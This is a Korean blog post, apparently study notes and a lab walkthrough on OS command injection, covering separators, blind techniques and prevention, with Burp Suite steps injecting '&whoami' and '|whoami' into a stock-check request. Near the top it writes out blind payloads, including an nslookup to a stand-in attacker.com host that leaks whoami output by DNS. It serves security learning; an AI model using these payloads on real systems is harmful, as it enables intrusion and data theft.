&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-04 오후 8.13.39.png&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;414&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bub6Y2/dJMcacJMOME/KbwtR6Fxz9giL23eABBcl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bub6Y2/dJMcacJMOME/KbwtR6Fxz9giL23eABBcl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bub6Y2/dJMcacJMOME/KbwtR6Fxz9giL23eABBcl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbub6Y2%2FdJMcacJMOME%2FKbwtR6Fxz9giL23eABBcl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;579&quot; height=&quot;195&quot; data-filename=&quot;스크린샷 2026-05-04 오후 8.13.39.png&quot; data-origin-width=&quot;1228&quot; data-origin-height=&quot;414&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Blind OS Commend injection&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 많은 사례는 블라인드 취약점이면 명령 실행결과가 HTTP응답에 직접 나타나지 않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 출력이 없더라도 네트워크, 시간, 파일시스템 등 다른 채널을 통해 탐지 및 악용 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;기법1. 시간 지연 : 응답시간이 지연되는지로 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;amp; ping -c 10 127.0.0.1 &amp;amp;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;기법2. 출력 리다이렉션 : 파일을 직접 열어 결과 확인&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;amp; whoami &amp;gt; /var/www/static/whoami.txt &amp;amp;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;기법3. Out-of-Band (OAST)&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;amp; nslookup attacker.com &amp;amp;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;: 공격자가 제어하는 서버로 DNS 요청 발생&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;amp; nslookup \ whoami'.attacker.com &amp;amp;'&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;: 공격자가 자신의 DNS 서버에서 whoami결과를 확인 가능 (데이터 유출)&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;OS Commend injection&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 명령어 구분자&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Window / Unix 공통: &amp;amp;, &amp;amp;&amp;amp;, |, ||&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Unix 전용: ;, \n&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;- 인라인 실행(Unix) : 원래의 명령 안에 삽입되어 실행됨&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;whoami', $(uname -a)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 메타 문자의 특성&lt;/p&gt;
&lt;ul style=&quot;list-style-type: circle;&quot; data-ke-list-type=&quot;circle&quot;&gt;
&lt;li&gt;구분자/인라인 기호마다 동작 차이가 있음&lt;/li&gt;
&lt;li&gt;어떤 것은 출력이 바로 보이고(in-Band), 어떤 것은 Blind 상황에서만 활용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 따옴표 닫고 주입&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;: 입력이 큰따옴표나 작은따옴표 안에 있으면 먼저 닫은 후에 새 명령어 삽입&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;commend injection 예방 방법&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 입력값 검증(Validation, Sanitization)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 파라미터화된 쿼리(Prepared Statement, Blind Variable) 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 최소 권한 원칙&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 에러 메시지 최소화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Web Application Firewall(WAF) 등 보안시스템 활용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;whoami 명령어를 이용한 OS 커맨드 인젝션 취약점 진단&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. ACCESS THE LAB 클릭&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-29 182123.png&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;635&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxhq1z/dJMcafzF1PT/qNMwKTsEUHhpqypEIs9lF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxhq1z/dJMcafzF1PT/qNMwKTsEUHhpqypEIs9lF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxhq1z/dJMcafzF1PT/qNMwKTsEUHhpqypEIs9lF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbxhq1z%2FdJMcafzF1PT%2FqNMwKTsEUHhpqypEIs9lF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;362&quot; height=&quot;321&quot; data-filename=&quot;스크린샷 2026-04-29 182123.png&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;635&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 제품 클릭 후 상세 페이지로 이동&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 184728.png&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;857&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdGS4u/dJMcaiC9G0n/LidLLE6eckStAdnKpqMxa1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdGS4u/dJMcaiC9G0n/LidLLE6eckStAdnKpqMxa1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdGS4u/dJMcaiC9G0n/LidLLE6eckStAdnKpqMxa1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdGS4u%2FdJMcaiC9G0n%2FLidLLE6eckStAdnKpqMxa1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;369&quot; height=&quot;287&quot; data-filename=&quot;스크린샷 2026-04-30 184728.png&quot; data-origin-width=&quot;1101&quot; data-origin-height=&quot;857&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. intercept on 후에 check stock을 누름&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 184914.png&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;411&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cw7i4C/dJMcaaZqAxQ/kyWIhPKyJEXEY93ez72wj0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cw7i4C/dJMcaaZqAxQ/kyWIhPKyJEXEY93ez72wj0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cw7i4C/dJMcaaZqAxQ/kyWIhPKyJEXEY93ez72wj0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcw7i4C%2FdJMcaaZqAxQ%2FkyWIhPKyJEXEY93ez72wj0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;478&quot; height=&quot;224&quot; data-filename=&quot;스크린샷 2026-04-30 184914.png&quot; data-origin-width=&quot;878&quot; data-origin-height=&quot;411&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 맨처음에 뜨는 POST타입 Request 확인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 185005.png&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;270&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bukAqD/dJMcaaLU37D/WK0hCDSbYO06ZimkX8TlrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bukAqD/dJMcaaLU37D/WK0hCDSbYO06ZimkX8TlrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bukAqD/dJMcaaLU37D/WK0hCDSbYO06ZimkX8TlrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbukAqD%2FdJMcaaLU37D%2FWK0hCDSbYO06ZimkX8TlrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;238&quot; data-filename=&quot;스크린샷 2026-04-30 185005.png&quot; data-origin-width=&quot;567&quot; data-origin-height=&quot;270&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 해당 Request끝에 &amp;amp;whoami(현재 시스템 사용자가 누구인지 확인하는 명령어)를 붙여 변조&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 185426.png&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;264&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEFY3F/dJMcaiC9HrS/OmUWZi3U4zD3OsgwnYxFFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEFY3F/dJMcaiC9HrS/OmUWZi3U4zD3OsgwnYxFFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEFY3F/dJMcaiC9HrS/OmUWZi3U4zD3OsgwnYxFFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEFY3F%2FdJMcaiC9HrS%2FOmUWZi3U4zD3OsgwnYxFFk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;575&quot; height=&quot;207&quot; data-filename=&quot;스크린샷 2026-04-30 185426.png&quot; data-origin-width=&quot;733&quot; data-origin-height=&quot;264&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 해당 Request를 reapeter로 send&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-29 182535.png&quot; data-origin-width=&quot;377&quot; data-origin-height=&quot;421&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nTRJt/dJMcagyxVeB/1vK7aHE2QOKbRNLOquwcak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nTRJt/dJMcagyxVeB/1vK7aHE2QOKbRNLOquwcak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nTRJt/dJMcagyxVeB/1vK7aHE2QOKbRNLOquwcak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnTRJt%2FdJMcagyxVeB%2F1vK7aHE2QOKbRNLOquwcak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;272&quot; height=&quot;304&quot; data-filename=&quot;스크린샷 2026-04-29 182535.png&quot; data-origin-width=&quot;377&quot; data-origin-height=&quot;421&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. Repeater에서 send해서 Response를 보면 원래 요청했던 재고개수만 출력되고 어떤 사용자가 이용하는지는 출력되지않음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 185544.png&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;510&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cyYcAr/dJMcahdbZtf/JsYvWBad1FdRzK4QJihik1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cyYcAr/dJMcahdbZtf/JsYvWBad1FdRzK4QJihik1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cyYcAr/dJMcahdbZtf/JsYvWBad1FdRzK4QJihik1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcyYcAr%2FdJMcahdbZtf%2FJsYvWBad1FdRzK4QJihik1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;256&quot; data-filename=&quot;스크린샷 2026-04-30 185544.png&quot; data-origin-width=&quot;1120&quot; data-origin-height=&quot;510&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. Request로 다시 돌아와서&amp;nbsp; |whoami로 변조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 185641.png&quot; data-origin-width=&quot;696&quot; data-origin-height=&quot;304&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/XX8DZ/dJMcaf7uMKP/lIGU5aStjA0lkPGsYYnwT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/XX8DZ/dJMcaf7uMKP/lIGU5aStjA0lkPGsYYnwT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/XX8DZ/dJMcaf7uMKP/lIGU5aStjA0lkPGsYYnwT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXX8DZ%2FdJMcaf7uMKP%2FlIGU5aStjA0lkPGsYYnwT0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;492&quot; height=&quot;215&quot; data-filename=&quot;스크린샷 2026-04-30 185641.png&quot; data-origin-width=&quot;696&quot; data-origin-height=&quot;304&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. send to reapeter를 해서 send를 해보면 response에서 사용자계정명이 출력되는 것을 볼 수 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(|는 앞 명령어의 결과내용을 뒤 명령어의 입력값으로 받아들여 앞 명령어의 결과인 재고 개수는 출력되지않음. 그러나 whoami 실행은 보장됨)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 185725.png&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;504&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qgaFJ/dJMcahK2OAM/5ctcZLIS7UnH0fFBOWaZS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qgaFJ/dJMcahK2OAM/5ctcZLIS7UnH0fFBOWaZS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qgaFJ/dJMcahK2OAM/5ctcZLIS7UnH0fFBOWaZS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqgaFJ%2FdJMcahK2OAM%2F5ctcZLIS7UnH0fFBOWaZS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;267&quot; data-filename=&quot;스크린샷 2026-04-30 185725.png&quot; data-origin-width=&quot;1106&quot; data-origin-height=&quot;504&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style8&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. proxy로 돌아와서 forward를 하면 아래와 같은 결과를 볼 수 있음 (사진 맨 아래쪽에 사용자계정명도 출력됨)&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-04-30 190033.png&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;865&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bIByXN/dJMcaaSG2oJ/qZRF3sGkdBYXNWCFoQyf4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bIByXN/dJMcaaSG2oJ/qZRF3sGkdBYXNWCFoQyf4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bIByXN/dJMcaaSG2oJ/qZRF3sGkdBYXNWCFoQyf4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbIByXN%2FdJMcaaSG2oJ%2FqZRF3sGkdBYXNWCFoQyf4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;518&quot; height=&quot;621&quot; data-filename=&quot;스크린샷 2026-04-30 190033.png&quot; data-origin-width=&quot;722&quot; data-origin-height=&quot;865&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;Blind OS Command Injection 취약점을 이용하여 서버가 응답하는 시간을&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;10초 동안 지연&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;시키기&lt;/span&gt;&lt;/h4&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1.&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;ACCESS THE LAB 클릭&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-03 오후 6.04.02.png&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;964&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcWBaO/dJMcaib9leK/ktTEMOKqnVGzAN4TUlKzG1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcWBaO/dJMcaib9leK/ktTEMOKqnVGzAN4TUlKzG1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcWBaO/dJMcaib9leK/ktTEMOKqnVGzAN4TUlKzG1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbcWBaO%2FdJMcaib9leK%2FktTEMOKqnVGzAN4TUlKzG1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;421&quot; height=&quot;269&quot; data-filename=&quot;스크린샷 2026-05-03 오후 6.04.02.png&quot; data-origin-width=&quot;1508&quot; data-origin-height=&quot;964&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
